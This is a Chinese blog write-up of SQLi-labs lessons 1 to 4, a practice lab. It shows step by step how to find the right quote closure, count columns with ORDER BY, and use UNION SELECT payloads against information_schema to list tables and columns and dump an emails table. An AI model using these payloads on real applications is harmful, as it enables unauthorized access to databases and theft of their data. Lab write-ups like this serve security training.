Less-(1~4) union select

Less-1:

  核心语句:

 

   无任何防护;回显查询结果或错误内容。

  输入单引号闭合语句中的单引号,#注释后面的内容,即可注入。由于有查询结果回显,直接联合注入即可。

    1'order by x #(有些环境下#天然不行,需要使用--+或--空格)

  探测查询的列数;union select要求前后查询列数必须一致,但语句中的*让我们无法知晓列数。order by语句当x大于列数时报错,小于等于时无回显。最后测得列数为3.

    ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();  --+

  查看当前数据库的所有表名称。

  1.此处开始,单引号前面就不能写能查到的东西,否则$row抓取的就是它而不是注入查询的内容

  2.group_concat 把查询结果显示到一起;不用则只能显示出一个。

    ' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' --+

  查看emails表中各列的名称。

    ' union select 1,2,group_concat(id,'~',email_id) from emails --+

  查询表内容。

至此,注入结束。这也是一个联合查询注入的模板。

 

Less-2:

  核心语句:

 

 和Less-1相比,本题仅仅少了单引号。故将前面payload中的单引号删去即可。注意需要输入查询一个不存在的值。

  eg:-1 union select 1,2,group_concat(id,'~',email_id) from emails --+

 

Less-3:

  核心语句:

 

 和Less-1相比,仅仅多了小括号。故payload中闭合它即可。

  eg:-1') union select 1,2,group_concat(id,'~',email_id) from emails --+

 

Less-4:

  核心语句:

 

 和Less-3相比,仅仅将单引号改为了双引号。跟着改即可。

  eg:-1") union select 1,2,group_concat(id,'~',email_id) from emails --+

 

由此,当我们确定注入形式(无过滤,get型)又不知道源代码时,使用多种符号的尝试去闭合它是很重要的。在前面输入一个能查询到的id,再加上闭合符号;若成功闭合,则正常回显;否则就无回显/报错。

posted @ 2021-09-11 17:13  hiddener  阅读(246)  评论(0编辑  收藏  举报